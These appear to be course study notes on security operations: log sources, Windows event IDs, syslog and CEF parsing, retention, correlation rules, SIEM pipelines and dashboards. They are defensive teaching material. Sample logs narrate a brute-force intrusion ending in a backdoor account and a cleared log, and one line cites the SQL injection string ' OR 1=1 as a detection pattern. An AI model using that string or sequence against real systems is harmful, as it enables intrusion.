| Audit | all significant events, for compliance and accountability | user actions, system changes | unauthorized changes, audit proof |
Mnemonic: Ankal Aafno Saathi Aaunda Nashama Fridge Dhalera Sutnubhayo Aanganma (when his friend came, uncle got drunk, knocked the fridge over and fell asleep in the courtyard), one word per type in the deck's order; the first two A's are authentication then authorization.
Simplified entries from one attack:
authentication Jul 8 10:45:15 web01 sshd[2213]: Failed password for admin from 203.0.113.45 port 51122 ssh2
firewall 2026-07-08 10:45:20 fw01 DENY TCP 203.0.113.45:51133 -> 10.0.5.10:3389
database 2026-07-08 10:47:02 db01 user=webapp query="SELECT * FROM students"
audit 2026-07-08 10:52:40 dc01 event 4732: svc01 added to Administrators by admin
- Authentication against authorization: proved identity against permitted action (a college ID card shown at the gate, against whether it opens the server room); a takeover shows clean authentication and odd authorization.
- Security against audit: security logs detect (read in real time); audit logs prove (stricter retention and integrity, asked for by auditors).
- Network against firewall: firewall logs record allow and deny decisions; network logs record traffic itself.
A SIEM's logs come from nearly every component of an IT environment (class notes): its operating systems, applications and network devices. Also integrated: endpoints, switches, routers, servers, mail servers, IoT, printers. Start with authentication, firewall and VPN, DNS and proxy, endpoint security, audit logs of critical servers and cloud accounts.
Log sources by layer: operating systems, applications, network devices and cloud
The deck's path, each hop logging:
Internet
-> Firewall allowed and denied connections
-> Router routing changes, interface events, NetFlow
-> Web server access log (every request), error log
-> Database queries, logins, changes
-> Users their endpoints: logons, processes, antivirus
Example: checking a result on a college exam portal leaves a record at every hop: the firewall (connection on port 443), the router (flow), the web server (request with the roll number), the database (the query for the marks), the phone (its history).
Figure: six layers with sources and what they record, all forwarding into one SIEM; the first three are the syllabus layers.
- Operating systems: Windows event logs (Application, Security, Setup, System, Forwarded Events); Linux syslog to
/var/log/syslogor/var/log/messages, logins in/var/log/auth.log(Debian, Ubuntu) or/var/log/secure(Red Hat), systemd journal, auditd. Record logons, failures, processes, account and privilege changes, services. - Applications: web servers (Apache, nginx, IIS access and error logs), databases, mail servers, ERP and core banking, custom code. Record requests, errors, SQL queries, transactions, user actions.
- Network devices: firewalls (allow and deny with source, destination, port), routers and switches (configuration changes, interfaces, NetFlow or IPFIX), IDS and IPS, web proxies (URLs), VPN (sessions), DNS (queries), DHCP (which machine held which IP).
- Security tools: antivirus and EDR, DLP, Active Directory and identity provider (logins, MFA), email gateways, vulnerability scanners.
- Cloud (chapter 5 deck's cloud slide, four kinds): cloud native log services (CloudWatch, Azure Monitor, Google Cloud Logging); control plane audit logs (AWS CloudTrail, Azure Activity Log, GCP Audit Logs) recording every API call on the account; container logs (Kubernetes audit logs via Fluentd, Fluent Bit, OpenTelemetry, since containers are too short lived for agents); findings of cloud security tools, CSPM (posture), CIEM (entitlements) and CWPP (workload protection), forwarded as structured findings so misconfigurations and excess permissions correlate with activity.
- Physical and IoT: badge readers, cameras, network printers, sensors; a line like "Printer connected" comes from the device or the computer it joined.
Cloud problems (same slide): volume and storage or egress cost; DevOps creates resources without enabling or forwarding logs; no fixed perimeter to tap; shared responsibility leaves enabling, forwarding and reviewing logs to the customer.
Windows event logs, and the event IDs an analyst reads
Event Viewer (deck screenshot): the tree holds Custom Views (saved filters); Windows Logs (Application, Security, Setup, System, Forwarded Events); Applications and Services Logs; Subscriptions (Windows Event Forwarding on a collector, landing in Forwarded Events by default). The Security log held 29,665 events. Fields: Log Name, Source, Event ID, Level, User, Logged, Task Category, Keywords (Audit Success or Failure), Computer. Screenshot event: 5061, cryptographic operation, System Integrity, Level Information: Security events are almost all Information, so success or failure shows in Keywords, not Level. Task categories: Logon (4624, 4648), Special Logon (4672), System Integrity (5061), Other System Events (5058).
| Action (Actions pane) | What it does |
|---|---|
| Filter Current Log | shows only chosen event IDs, levels, sources, users or time range (every 4625 of the last 24 hours) |
| Find | searches the events' text |
| Create Custom View | saves a filter, listed under Custom Views |
| Save All Events As | exports the whole log as .evtx (evidence) or XML, CSV, text; Save Selected Events exports only the highlighted ones |
| Open Saved Log | opens an exported .evtx, such as one copied off a suspect machine |
| Clear Log | empties the log; clearing the Security log writes 1102 |
| Attach a Task To This Event | runs a program whenever that event recurs |
Figure: the lecture's Event Viewer screenshot: the Security log, 29,665 events, newest first, all Audit Success; 5061 and 5058 (cryptographic and key file operations) repeat as routine noise, most 4624 logons come with a 4672 in the same second, one 4648; below the list, the fields of event 5061.
| ID | Records | Why watched |
|---|---|---|
| 4624 | successful logon | logon type 2 interactive, 3 network, 10 remote desktop; lateral movement as type 3 or 10 to unusual hosts |
| 4625 | failed logon | many for one account: guessing; few for many: spraying; reason: bad password or unknown user |
| 4634, 4647 | logoff | session length |
| 4648 | logon with explicit credentials | running as another user |
| 4672 | special privileges on a new logon | admin logon; follows 4624 in the screenshot |
| 4688 | new process created | parent and command line (if enabled): Word starting PowerShell |
| 4720 | user account created | backdoor accounts, T1136 |
| 4728, 4732 | added to a security enabled global or local group | privilege escalation |
| 4740 | account locked out | brute force hitting the threshold |
| 1102 | audit log cleared | covering tracks, T1070.001 |
| 7045 (System) | new service installed | remote execution tools, persistence |
As a story: 37 x 4625 for admin from one address, then 4624 type 10, 4672, 4720 creating svc01, 4732 adding it to Administrators, then 1102. Password guessed, RDP login with admin rights, backdoor account, log wiped: only the copy sent to the SIEM survives.
Audit policy decides what is logged: process creation auditing is off by default. Sysmon adds Event ID 1 (process creation with hashes and parent), 3 (network connection), 11 (file creation), 22 (DNS query), used in chapter 3 hunts.
Collecting and aggregating logs: agents, agentless, push and pull
Collection moves entries off the systems that wrote them; aggregation brings them into one central store, one shape, one clock. Off the host and fast, a log survives file rotation, disk failure and an intruder.
- Agent based: software on the host (Logpoint agent, Elastic Agent, Splunk forwarder, NXLog, Wazuh) reads, filters, compresses, buffers, encrypts and forwards.
- Agentless: devices push their own logs by syslog (firewalls, routers, switches), or the collector pulls: Windows Event Forwarding or WMI for Windows, APIs for cloud and SaaS (CloudTrail), queries for databases.
| Point | Agent based | Agentless |
|---|---|---|
| Installation | software on every host | none |
| Data | rich, any local log | what the device sends or the API exposes |
| Reliability | buffers during outages | UDP syslog lost silently |
| Security | encrypted and authenticated | plain syslog cleartext, spoofable |
| Load | small, on each host | on the collector |
| Used for | servers, workstations | network devices, appliances, cloud |
Transport: syslog over UDP 514 (fast, no delivery guarantee, no encryption), TCP (reliable), TLS on 6514 (encrypted, authenticated); cloud over HTTPS APIs.
Aggregation, five jobs:
- Tiered collection: site collectors forward to the central SIEM.
- Clock alignment: NTP everywhere, timestamps stored in UTC; Kathmandu local time is UTC+05:45, so unconverted entries sit 5 hours 45 minutes off.
- Filtering and deduplication: drop noise, merge repeats; SIEMs are licensed by volume (EPS or GB a day).
- Tagging with device and collector.
- Queueing bursts instead of dropping them.
A silent source is itself an alert. Example: a college's firewalls and switches send syslog over TLS to a collector, domain controllers run an agent, the web access log is read by the agent, cloud email is pulled by API; all arrive in UTC as the pipeline's forwarded logs.
Log formats and parsing: syslog, CEF and JSON
Parsing: breaking a raw entry into named fields (time, host, user, source address, action, outcome); each format needs its own parser, and normalization then gives the fields common names. Unparsed, an entry is a string: searchable, but not countable per user. Formats: unstructured free text, semi-structured key=value, structured JSON and XML.
Example: a bank SMS (Dear Customer, A/C ##1234 debited by NPR 2,500.00 on 01/10/2026) is an unstructured entry; a spending app needs a pattern for the amount and the date, and the pattern silently stops matching when the bank rewords the message.
Syslog: RFC 3164 (BSD, 2001), RFC 5424 (2009). Header (priority, version, timestamp, host, application, process ID, message ID), structured data, free text message.
<38>1 2026-07-08T05:00:15Z web01 sshd 2213 - - Failed password for admin from 203.0.113.45 port 51122 ssh2
PRI = facility × 8 + severity: 38 = 4 × 8 + 6, facility 4 (auth), severity 6 (informational).
| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
|---|---|---|---|---|---|---|---|
| Emergency | Alert | Critical | Error | Warning | Notice | Informational | Debug |
| system unusable | act at once | critical conditions | error conditions | warning conditions | normal but significant | routine information | debugging detail |
Mnemonic: Euta Aalsi Chaukidar Eklai WiFi Nabhai Ishwor Dekhyo (a lazy watchman, alone with no WiFi, saw God), one word per severity, the first word being 0.
RFC 3164 has no year, no time zone, free text, so a parser per device wording.
CEF (ArcSight Common Event Format): seven pipe separated header fields (version, vendor, product, product version, signature ID, name, severity 0 to 10), then key=value extensions; usually inside syslog.
CEF:0|ExampleCo|EdgeFW|2.1|4001|Connection denied|5|src=203.0.113.45 spt=51133 dst=10.0.5.10 dpt=3389 proto=TCP act=deny
LEEF: IBM QRadar's Log Event Extended Format, header plus key=value.
JSON: nested keys and values, cloud and modern applications, no custom parser. Simplified CloudTrail failed console login:
{"eventTime": "2026-07-08T05:03:11Z",
"eventSource": "signin.amazonaws.com",
"eventName": "ConsoleLogin",
"sourceIPAddress": "203.0.113.45",
"userIdentity": {"type": "IAMUser", "userName": "admin"},
"responseElements": {"ConsoleLogin": "Failure"}}
Windows: binary EVTX, each event XML with System (event ID, time, computer) and EventData (TargetUserName, IpAddress, LogonType). Web servers: Combined Log Format:
203.0.113.45 - - [08/Jul/2026:10:45:15 +0545] "GET /admin/login.php HTTP/1.1" 200 5320 "-" "Mozilla/5.0"
Fields: client, identity, user, time with offset (+0545 Nepal), request, status, bytes, referrer, user agent.
Parser: a regular expression names the parts:
Failed password for (?P<user>\S+) from (?P<src_ip>\S+) port (?P<src_port>\d+)
It yields user=admin, src_ip=203.0.113.45, src_port=51122. Risk: a firmware update changes the wording, entries arrive unparsed, rules go silent; so the unparsed rate is monitored.
| Format | Structure | Typical sources | Parsing effort |
|---|---|---|---|
| Syslog | header plus free text | Linux, routers, switches, firewalls | a parser per device wording |
| CEF, LEEF | fixed header plus key=value | security appliances | low |
| JSON | nested keys and values | cloud, modern apps | lowest |
| Windows EVTX | XML per event | Windows hosts | low once collected |
Log retention: how long logs are kept, where, and why
Log retention: the policy setting how long each kind of log is kept, where, and how it is disposed of; the tool enforces it, the organization decides it.
Why keep logs:
- Late discovery: SolarWinds tampered Orion updates went out from March 2020; the intrusion came to light in December 2020. 90 days of logs could not show how it began.
- Retro hunting: chapter 3 deck, a feed pushes 200 new malicious IPs at 02:00; by 02:01 the SIEM reports one in yesterday's proxy logs.
- Law and standards: PCI DSS requirement 10.5.1 (version 4.0): a year of audit logs, latest three months immediately available; CERT-In directions (India, 2022): 180 days, kept within India.
- Evidence: Nepal's Electronic Transactions Act 2008 gives electronic records legal recognition; a log with provable integrity can support a case.
- Baselines: UEBA needs months of normal.
Limits: storage and licence cost; privacy law (GDPR storage limitation, Nepal's Privacy Act 2018: personal data no longer than needed); low value of debug logs.
Six deciding factors: legal and regulatory requirements; contracts and industry standards; investigation reach; log type and value; cost; privacy obligations. Written into policy (chapter 7).
| Tier | Typical age | Used for | Cost and speed |
|---|---|---|---|
| Hot | days to weeks | live search, correlation, alerting | fully indexed, fastest, dearest |
| Warm | weeks to months | hunting, scoping incidents | slower, cheaper |
| Cold or archive | months to years | compliance evidence, forensics | compressed, restore first, cheapest |
| Disposal | end of period | secure deletion | removes cost and privacy risk |
Example schedule: authentication and security logs 12 months (3 hot); firewall and VPN 12 months; web access 6 months; debug 14 days. Logpoint: repositories with their own retention, routing rules send logs to them.
Trustworthy retained logs: integrity (hashes, signatures, WORM, append only), confidentiality (encryption, access control), availability (backups, replicas), separation of duties (admins cannot delete their own logs), chain of custody for evidence. Local logs rotate (Windows Security log overwrites at its size limit, logrotate on Linux), so central retention is what counts.
Log analysis, correlation and enrichment
Log analysis: reviewing the logs collected on the log server to proactively identify bugs, security threats or other issues. Log correlation: analysing logs from different sources (applications, systems, networks, devices) to find relationships and dependencies between them.
| Entry (deck) | Reading | Verdict |
|---|---|---|
| User Mary logged in successfully. | normal unless context odd (3 a.m., new country, new device) | watch the context |
| User Admin failed login 37 times. | far beyond typing errors, against the most valuable, most guessed account: password guessing, T1110.001 | investigate |
| Printer connected. | routine device event | no action |
Next questions: from which address, over how long; did the account lock out (4740); were other accounts tried (spraying); did a success follow (needs correlation).
Analysis methods: search and filter; known bad patterns (' OR 1=1 in a web log); counts, top N, rare values; baseline comparison; timeline reconstruction.
Indicators of compromise (IoCs): the traces an intrusion leaves, much of what the search looks for: known malicious IP addresses and domains, file hashes, URLs, registry keys, odd user agent strings (ranked by the pyramid of pain, chapter 3). Syllabus lab: examine logs from various sources for potential IoCs with parsing tools and regex patterns.
Correlation: events sharing a key (user, IP, host) within a time window become one story. Firewall allow from abroad, VPN login, 4624 on a server the account never uses, proxy traffic to a listed address: four events, one intrusion. Needs normalized fields, synchronized clocks, rules.
Example: a bank SMS for an ATM withdrawal in Pokhara at 10:05 and an eSewa receipt for momo in Kathmandu at 10:03, joined on the same person, are impossible together (nobody covers the Prithvi Highway in two minutes): impossible travel.
| Point | Log analysis | Log correlation |
|---|---|---|
| Scope | one source or log type | several sources |
| Question | what happened here? | are these events one story? |
| Method | search, filters, statistics, patterns, baselines | rules joining on a key in a window |
| Output | finding about one system | alert or incident across systems |
| Example | 37 failed logins for admin | the failures, then a success, then a new admin account |
| Blind to | anything spanning systems | whatever was never collected or normalized |
Why enrichment is crucial: a raw entry has no judgement (a connection to 66.66.66.66 is neither good nor bad).
- Threat intelligence verdict: a Logpoint enrichment policy matches the TI table and adds
threat_category=C&C,threat_score=100. - Asset context sets severity: domain controller against test machine.
- Identity context: department, job title, privileges, whether the person has left (would have flagged the chapter 6 insider case).
- GeoIP and DNS: impossible travel; which machine an IP is.
- Enables correlation: rules join on fields.
- Saves analyst time, cuts false positives: lookups done once at ingest.
Correlation rules and SIEM use cases
Correlation rule: logic evaluated continuously over normalized events: field conditions, a count or order, a time window, a grouping key; when met, one alert with a severity. Use case: a documented detection scenario: threat, logs needed, rule, response.
| Rule type | Logic | Example |
|---|---|---|
| Single event | one event matches | audit log cleared (1102) |
| Threshold | count in a window crosses a limit | over 30 failed logins for one user in 10 minutes |
| Sequence | A then B within a time | failures, then a success from the same address |
| Cross source | different logs joined on a key | VPN login and badge entry at once, two places |
| Absence | expected event missing | log source silent 30 minutes |
| Threat intelligence match | field matches an indicator list | DNS query for a known C2 domain |
| Statistical | deviation from a baseline | ten times the usual download volume (UEBA) |
Example: a bank card that locks after a few wrong PINs is a threshold rule with an automatic response, on one system; a SIEM runs the count across every system, then a sequence rule asks what came next.
Figure: a timeline of 37 failed logons (4625) for admin from 203.0.113.45 every 6 seconds from 02:11:00, a 4624 type 10 at 02:14:52 from the same address, then 4720 and 4732; the rule raises one alert, brute force succeeded, severity high.
- Normalize: 4625, sshd failures and VPN rejections become one event type with user and source_address.
- Group and count per user and source over a sliding 10 minute window.
- Threshold: 30 or more; here 37 in under four minutes.
- Sequence: wait for a 4624 with the same user and source in the window; it arrives at 02:14:52.
- Alert: one high severity alert with all 38 events; a second rule catches 4720 then 4732.
The chapter 3 deck's Logpoint hunt:
label=Login label=Fail user="rita.mm"
| chart count() by source_address, workstation, user, host
| order by count() desc
| Use case | Logic | Logs needed | ATT&CK |
|---|---|---|---|
| Brute force then success | failures then success, same user and source | Windows Security, Linux auth, VPN | T1110 |
| Password spraying | one source, many users, one or two failures each | authentication, identity provider | T1110.003 |
| Impossible travel | two logins too far apart for the time | VPN, identity provider, cloud sign-in, GeoIP | T1078 |
| New admin account | created, then added to an admin group | Windows Security on domain controllers | T1136, T1098 |
| Command and control | DNS or proxy to a listed domain or IP | DNS, proxy, firewall, threat feed | T1071 |
| Data exfiltration | outbound volume far above baseline, long random DNS names | firewall, NetFlow, DNS | T1048 |
| Dormant or leaver account | login by an unused account or a leaver | authentication logs, HR leavers list | T1078 |
Use case lifecycle: choose the threat (ATT&CK); check the logs are collected; write the rule; test with simulated events; tune thresholds and allow lists; write the response playbook (SOAR, incident handling); review as the estate changes.
Tuning: false positives cause alert fatigue; over tight rules cause false negatives. Sigma: vendor neutral YAML rule format converted to each SIEM's query language.
SIEM: the platform that turns logs into alerts, and its architecture
SIEM (Security Information and Event Management): collects logs across the environment, normalizes and stores them, correlates them in real time, raises alerts, with search, dashboards and reports. It joins SIM (long term storage, analysis, reporting) and SEM (real-time monitoring, correlation, alerting); Gartner coined the name in 2005.
Memory aid: a mall's CCTV room. SIM is the cupboard of recorded footage, kept for months and searched after a theft; SEM is the guard at the live screens who sounds the alarm; a SIEM is both.
Why it emerged (chapter 5 deck): manual log review could not keep pace with hundreds of systems generating millions of events a day. It gives a single searchable view across firewalls, endpoints, identity and applications, and turns raw volume into a manageable number of prioritized alerts.
SIEM at a glance (Logpoint slide):
- Enterprise data volumes are increasing exponentially.
- Raw data is impossible to process efficiently for most IT professionals.
- A SIEM translates raw data into actionable intelligence through normalization and use cases.
- The intelligence serves security (is the enterprise edge secure?), compliance (how do I prove compliance?), operations (are we maximizing efficiencies?); the slide also names business analytics.
Figure: the lecture's SIEM at a glance slide: databases, endpoints, IoT, printers, firewalls and applications send raw log lines under a magnifying glass into normalization, storage and analytics (Logpoint), which serve cybersecurity, IT operations, compliance and business analytics.
| Process | What it does | Why needed |
|---|---|---|
| Normalization | one schema: a firewall's src, the Source Network Address of a Windows logon event, the first field of an Apache access line all become source_address | no cross vendor search, rule or report without it |
| Storage | indexes and keeps normalized events in hot, warm, cold tiers | speed for detection, depth for investigation, years for compliance |
| Analytics | correlation, statistics, baselines, threat intelligence matching | turns data into decisions |
Figure: SIEM architecture, sources feeding five numbered stages: data collection, normalization, then correlation and storage side by side, then reporting and alerting.
- Data collection: agents, syslog, APIs; collectors buffer, time-stamp, forward securely. The deck's slide shows firewall, OS, switch, application, router, server and mail server rules feeding one store: each device type needs its own way of being read.
- Normalization: parse into fields, map to the schema, convert to UTC, categorize, enrich with threat, asset and identity context.
- Correlation: rules engine on the live stream (threshold, sequence, cross source, TI), using stored history, raising scored alerts.
- Storage: indexed, compressed, tiered, tamper evident, kept for the retention period.
- Reporting and alerting: alerts to analysts and SOAR, dashboards, scheduled reports for managers and auditors, search and case management.
Correlation and storage run side by side on the same events.
Costs (the deck's SIEM slide): the SIEM sits between three tools whose blind spots it covers.
Figure: the lecture's SIEM slide (page 13): endpoint, network and data or application security around a SIEM in the middle, each listing what it sees and misses; the SIEM sees all three through logs and alerts, and is costly, complex and resource intensive. N/S and E/W mean north-south and east-west traffic.
| Tool | Sees | Misses, or costs |
|---|---|---|
| Endpoint security | activity on endpoints | network traffic; agentless endpoints are a blind spot |
| Network security | the network 24/7, north-south (in and out) and east-west (inside) | endpoint activity; more false alarms |
| Data and application security | the critical assets it is required for | network and endpoints; more overhead, complex |
| SIEM | network, endpoint and data, via logs and alerts | costly, complex, resource intensive; needs in-house security expertise |
A SIEM also sees only what was logged and forwarded. Chapter 5: SIEM features, SOAR, UEBA, the visibility triad.
The class notes answer the architecture question with the Logpoint pipeline, which has no correlation or reporting stage; answer the five named stages and use the pipeline to detail the first two.
The SIEM processing pipeline: collect, parse, normalize, enrich, route, store
Figure: the lecture's pipeline slide: seven circles, devices sending forwarded logs to collect, then parse, a processing policy bracket over normalize, enrich and route, and store hanging below route.
Figure: the same pipeline redrawn in one row (the version to reproduce): devices, forwarded logs, collect, parse, then a processing policy bracket around normalize, enrich and route, then store, with each stage's job under it.
| Stage | What happens | Without it |
|---|---|---|
| Devices | firewalls, servers, endpoints, applications write and forward logs by agent or syslog | nothing to find |
| Collect | collectors receive and buffer forwarded logs centrally | logs stay on hosts, deletable, unsearchable together |
| Parse | raw, unstructured entry into structured fields: time, host, user, source address, destination port, action, outcome | strings only |
| Normalize | vendor names (src_ip, Source-Address, client_ip) to one; standard time, units, categories | a rule per vendor, no cross source correlation |
| Enrich | TI verdict marking an IP malicious, asset criticality, user details such as a job title (the class notes' example: Job Title: Administrator added to a username), GeoIP | no severity or meaning, manual lookups |
| Route | rules send each event to its repository (and retention) and to live analytics; drop noise | one pile, costly hot storage, one retention for all |
| Store | index, compress, keep for search, correlation, reports, evidence | no hunting, forensics or audit trail |
Mnemonic: Dami Chor Pasalma Nachyo, Ekchhin Royo, Samatiyo (the flashy thief danced in the shop, cried for a moment, and was caught), one word per stage; what he does inside the shop, dancing and crying, is the processing policy.
One SSH failure through the pipeline:
collect <38>Jul 8 10:45:15 web01 sshd[2213]: Failed password for admin from 203.0.113.45 port 51122 ssh2
parse time=Jul 8 10:45:15 host=web01 app=sshd pid=2213 msg=Failed password
user=admin src_ip=203.0.113.45 src_port=51122
normalize log_ts=2026-07-08T05:00:15Z label=Login label=Fail user=admin
source_address=203.0.113.45 source_port=51122 device_name=web01
enrich + threat_category=brute force scanner (threat intelligence match)
+ asset_criticality=high (public web server)
+ job_title=Administrator user_privileged=yes (identity lookup)
+ source_country (GeoIP lookup)
route authentication repository (kept 12 months) and the live correlation engine
store indexed; found later by label=Login label=Fail source_address=203.0.113.45
Parse against normalize: parsing finds the parts of one entry; normalization makes every entry's parts agree. 10:45:15 Nepal time (UTC+05:45) is stored as 05:00:15 UTC; the labels Login and Fail are the same for every login failure, so one query finds Linux, Windows and VPN failures alike. The class notes use source.ip as the common name.
Processing policy (Logpoint): a normalization policy, an enrichment policy and a routing policy bundled and assigned per log source.
Pipeline and architecture: devices and collect = data collection; parse, normalize, enrich = normalization; route and store = storage; correlation and reporting read the store and the stream.
Visualizing security data: which chart answers which question
Security visualization: turning log and alert data into charts so a person sees trends, spikes, gaps, outliers and relationships at a glance. The eye reads position, length and colour before words. Jobs: detection, investigation, communication. Shneiderman: overview first, zoom and filter, then details on demand.
Example: cricket broadcast charts: the worm (runs over the overs) is a time series, the Manhattan (runs per over as bars) shows a collapse at a glance, the wagon wheel maps where the runs went.
| Visualization | Best for | Security example | Watch for |
|---|---|---|---|
| Time series (line) | trends, spikes, gaps | failed logins per hour; flat zero means a dead source | show the baseline |
| Top N (bar) | ranking the heaviest | top source IPs by denied connections | long tail hidden |
| Heat map | two dimensions | logons by hour and weekday, out-of-hours block | colour legend |
| Geographic map | where connections come from | logins by country, impossible travel | GeoIP approximate, VPNs |
| Pie or donut | share of a whole | alerts by severity for management | hard to compare, use sparingly |
| Histogram | distribution | session lengths, bytes per connection | bin width |
| Scatter plot | outliers on two measures | bytes sent against connections per host | crowding |
| Link graph | who talks to whom | lateral movement | hairball |
| Timeline | order of events | incident reconstruction | clock alignment |
An investigation drawn: failed logins jump from about 20 an hour to 240 at 02:00 (time series); one source address causes most (top N); it is abroad (geo map); nobody logs in at that hour (heat map); its timeline ends in a success; then a correlation rule.
Marty's process (Applied Security Visualization, 2008): define the problem, assess available data, process information, visual transformation, view transformation, interpret and decide.
Misleading charts: a linear axis flattens small counts (use a log scale), truncated axes exaggerate, too many colours, 3D. Syllabus lab: find trends and anomalies, build dashboards and reports.
Security dashboards, and what makes a good one
Dashboard (Stephen Few): a visual display of the most important information needed to achieve one or more objectives, on a single screen, monitored at a glance. Dashboards are live; reports are scheduled, detailed and kept as evidence.
Example: a motorbike's dashboard (speed, fuel, a warning light), glanced at and acted on at once, against its service book, which is the report.
| Reader | Purpose | Shows | Refresh |
|---|---|---|---|
| SOC analyst | what needs action now | open alerts by severity, queue, event rate, source health | seconds to minutes |
| SOC manager | performance | MTTD, MTTR, alerts per analyst, false positive rate, backlog | daily, weekly |
| CISO and management | are we getting safer | incident trends, compliance status, ATT&CK coverage | monthly, quarterly |
| Auditor | evidence | admin actions, sensitive data access, retention proof | scheduled reports |
| Threat hunter | investigation | pivots, timelines, link graphs, rare values | on demand |
Measures: MTTD (mean time from incident start to detection), MTTR (mean time from detection to containment or recovery), EPS (events per second, sizes the SIEM), log source health (reporting against expected), false positive rate.
Figure: a SOC dashboard sketch with illustrative values: tiles for open alerts, MTTD, MTTR and log sources reporting; a failed logons time series with a 02:00 spike; top source IPs; a heat map with Saturday night logons; an alert queue.
A good security dashboard:
- One purpose, one audience.
- Most urgent panel top left.
- Few panels, one screen, no scrolling.
- Every number in context: baseline, threshold, trend (400 failures means nothing without the normal figure).
- The right chart for each question.
- Consistent colour, red only for bad, colour blind safe.
- Time range, time zone and refresh rate stated.
- Drill down to raw events.
- Actionable panels only.
- Log source health shown, so a gap is not read as a quiet night.
The failure avoided: a wall of forty pie charts with no baselines that nobody acts on. Syllabus lab: configure data sources, create dashboards, set up alerting.
Chapter 5: Emerging technologies in security operations 8300 words
The SOC toolset: why each technology emerged, and what it adds
Emerging technologies in security operations: the platforms a security operations center uses to see, detect, investigate and respond at the scale and speed of modern attacks: SIEM, SOAR, UEBA, EDR, NDR and XDR. Each answers a limit of the one before; together they turn raw data into correlated, automated, unified defense.
SOC: the team, processes and technology that watch an organization's systems around the clock, detect and investigate threats, and coordinate the response.
- People: tier 1 triages alerts; tier 2 investigates and responds to incidents; tier 3 hunts threats and builds detections; a SOC manager reports to the CISO.
- Process: playbooks, escalation paths, metrics.
- Technology: this chapter.
No single tool is enough (the class notes): no one technology gives complete protection, so the tools work together as an ecosystem that provides deep visibility, analyzes behavior and automates the response.
Why "emerging": each tool grew out of a real failure of the tools before it, and all are still changing with cloud delivery, machine learning and automation. The deck frames them as "what you need to monitor and respond".
| The problem | The answer | What it adds |
|---|---|---|
| Hundreds of systems produce millions of log events a day | SIEM | collects, correlates and alerts from one searchable place |
| The SIEM raises more alerts than analysts can triage | SOAR | playbooks that investigate and contain at machine speed |
| A stolen password or an insider looks normal to rules | UEBA | per-user baselines that flag abnormal behavior |
| Signature antivirus misses fileless, living-off-the-land attacks | EDR | behavior recording and response on every endpoint |
| Unmanaged, IoT, OT and legacy devices cannot run an agent | NDR | agentless detection from network traffic |
| Every tool is a separate console with one fragment of the attack | XDR | one incident, correlated across layers |
Figure: the SOC stack: see (EDR, NDR, log sources), understand (SIEM, UEBA, threat intelligence), unify (XDR), act (SOAR isolates, blocks, disables, purges, tickets), with each incident's lessons fed back as rules, baselines and playbooks.
To remember it: a city's traffic police control room: the cameras are the sensors (EDR inside buildings, NDR on the roads), the wall of screens is the SIEM, the constable who spots a stranger on his street is UEBA, the case file joining one suspect's route is XDR, and the standing order to alert the nearest checkpoint is a SOAR playbook.
| Tool | Watches | The question it answers | Blind spot |
|---|---|---|---|
| SIEM | logs from everything | Did anything suspicious happen anywhere? | sees only what is logged; floods analysts with alerts |
| SOAR | alerts and cases | What do we do about it, now and every time? | only as good as its playbooks |
| UEBA | identity and activity history | Is this user or device acting unlike itself? | needs a learning period; an anomaly is not proof |
| EDR | processes, files, registry on hosts | What ran here, and can I stop it? | needs an agent; no network view |
| NDR | packets, flows, DNS | What is moving on the wire? | cannot see inside a host |
| XDR | all layers, natively joined | Are these alerts one attack? | strongest inside one vendor's products |
Security posture: an organization's overall ability to prevent, detect, respond to and recover from attacks. The stack lifts it through:
- Visibility: endpoints, network, identity and cloud all watched.
- Early detection: correlation and behavior analytics cut the mean time to detect (MTTD).
- Speed: automation cuts the mean time to respond (MTTR) and the dwell time, the days an intruder stays unnoticed.
- Consistency: a playbook responds the same way at 3 a.m. as at noon.
- Analyst focus: machines triage; people handle hard cases and hunt threats.
- Evidence: retained, searchable records for audits and incident response.
The deck's Emerging Technologies slide lists SIEM, SOAR, "NDA", UEBA and EDR/XDR; NDA is a slip for NDR. The deck shows its vendor's products, from Logpoint (GuardSix SIEM, SOAR, UEBA and XDR, and AgentX, its EDR agent); the exam wants the kind of tool, not the brand.
SIEM as the SOC's hub: features, next-generation SIEM and posture
SIEM (security information and event management): a platform that aggregates and correlates logs from across the environment, raises prioritized alerts on suspicious patterns, and keeps the data searchable for investigation, reporting and compliance; the hub every other SOC tool feeds. Its architecture and pipeline are chapter 4's subject.
Its role (the class notes): the foundational layer and central "brain" of security operations, whose primary role is to aggregate, store and analyze log data from across the entire enterprise. The deck's slide line: detect threats early, stay compliant, and operate with full control.
Why it emerged: manual log review could not keep pace once organizations ran hundreds of systems generating millions of events a day. The name joins security information management (SIM, storing and reporting on logs) and security event management (SEM, real-time watching of events); Gartner coined SIEM in 2005.
Features (the deck: search, dashboards, reports, alerts, incident and case management, threat investigation):
- Collection and normalization: logs from firewalls, servers, endpoints, identity, cloud and applications parsed into one schema.
- Correlation: analyzing events from different sources to find the relationships and dependencies that indicate a threat, through rules joining them into one alert, such as twenty failed logins on one account then a success from the same address.
- Enrichment: threat intelligence, geolocation, asset value and identity added to each event.
- Alerting and prioritization: severity and risk scores.
- Search and investigation: a query language to pivot across all logs; the deck's SIEM is built on its own indexing engine, with a fast pipe-based query language for pivoting across massive log volumes during a hunt (hash to user to address).
- Dashboards: live views for analysts, trends for managers.
- Reports and compliance: evidence for PCI DSS, ISO/IEC 27001 and data protection law.
- Case management: each alert a tracked case with owner, notes and evidence.
- Retention and forensics: months or years of history.
Mnemonic (the nine features, in order): Chhoro Chiya Eklai Aaphai Sakaayo; Didi Runchhin: Ijjat Raakha (the son finishes the whole pot of tea by himself and his sister wails, have some shame; raakha means keep, and retention is keeping).
Figure: the deck's SIEM dashboard, "Top 10 breach events" as a donut; among the ten types, SSL beaconing to a rare destination (NDR's beaconing) and data sent to a new external device (a sign of exfiltration).
What the dashboard counts: the legend's ten breach event types, grouped by what each points to (the grouping is the reader's; the slide only lists them):
| Points to | Breach event types on the slide |
|---|---|
| A payload coming in | anomalous octet stream (octet stream is the web's label for raw binary data, so an unexpected one often means a file being fetched) |
| Looking around | expanded network scan; lots of new connections |
| Calling home | SSL beaconing to a rare destination; multiple connections to a new external UDP port; new failed external connections |
| Data going out | data sent to a new external device; file storage |
| Destruction | anomalous SM delete volume (an unusual amount of deleting) |
| Many weak signs at once | unusual activity from multiple metrics |
Almost every name says new, rare, unusual or anomalous: behavioral detections (the baselining idea of UEBA and NDR) inside the SIEM, not signatures. The Action panel beside the donut draws the same data as flows: host, then its address, then the detection it tripped, then the attack stage it signals (command and control or C2, exploit, egress and tooling are legible): which machine, doing what, how far into an attack.
